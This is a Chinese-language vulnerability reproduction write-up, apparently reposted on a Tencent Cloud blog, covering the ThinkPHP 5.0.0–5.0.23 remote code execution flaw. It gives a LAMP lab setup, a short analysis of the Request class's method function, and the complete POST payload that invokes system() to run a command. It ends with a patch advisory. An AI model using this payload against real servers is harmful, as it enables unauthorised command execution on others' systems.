前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ThinkPHP 5.0.0~5.0.23 RCE 漏洞复现

ThinkPHP 5.0.0~5.0.23 RCE 漏洞复现

作者头像
墙角睡大觉
发布2019-09-24 17:25:58
5.3K0
发布2019-09-24 17:25:58
举报

2019 年 1 月 11 日,360CERT 发现某安全社区出现关于 ThinkPHP5 RCE 漏洞的威胁情报,不久之后 ThinkPHP5 官方与 GitHub 发布更新。该更新修复了一处严重漏洞,该漏洞可导致远程命令代码执行。

影响范围:

ThinkPHP 5.0.x:5.0.x ~ 5.0.23

0X01 环境搭建:

CentOS/lamp

下载源码包5.0.23,其他范围之内的版本也是可以的。

解压到/opt/lamp/htdocs文件夹,在http.conf文件添加监听端口82:Listen 82;在lamp的etc目录下的虚拟主机文件中添加环境路径配置,如下图所示:

添加完毕之后,重启lamp服务,通过浏览器访问:

0X2 漏洞分析

漏洞主要出现在 ThinkPHPRequest 类的 method 方法中(thinkphp/library/think/Request.php)

Request 类可以实现对 HTTP 请求的一些设置,其中成员方法 method 用来获取当前请求类型。

目前官方已经升级到5.4版本:

0X3 漏洞利用

抓包复现,完整的数据是:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

得到结果:

完整过程:

成功利用此漏洞的攻击者可以对目标系统进行远程代码执行攻击。目前,该漏洞的漏洞验证代码已在互联网上公开,近期被利用的可能性较大。请尽快修复。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-01-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 安全漏洞环境学习 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
轻量应用服务器
轻量应用服务器(TencentCloud Lighthouse)是新一代开箱即用、面向轻量应用场景的云服务器产品,助力中小企业和开发者便捷高效的在云端构建网站、Web应用、小程序/小游戏、游戏服、电商应用、云盘/图床和开发测试环境,相比普通云服务器更加简单易用且更贴近应用,以套餐形式整体售卖云资源并提供高带宽流量包,将热门开源软件打包实现一键构建应用,提供极简上云体验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档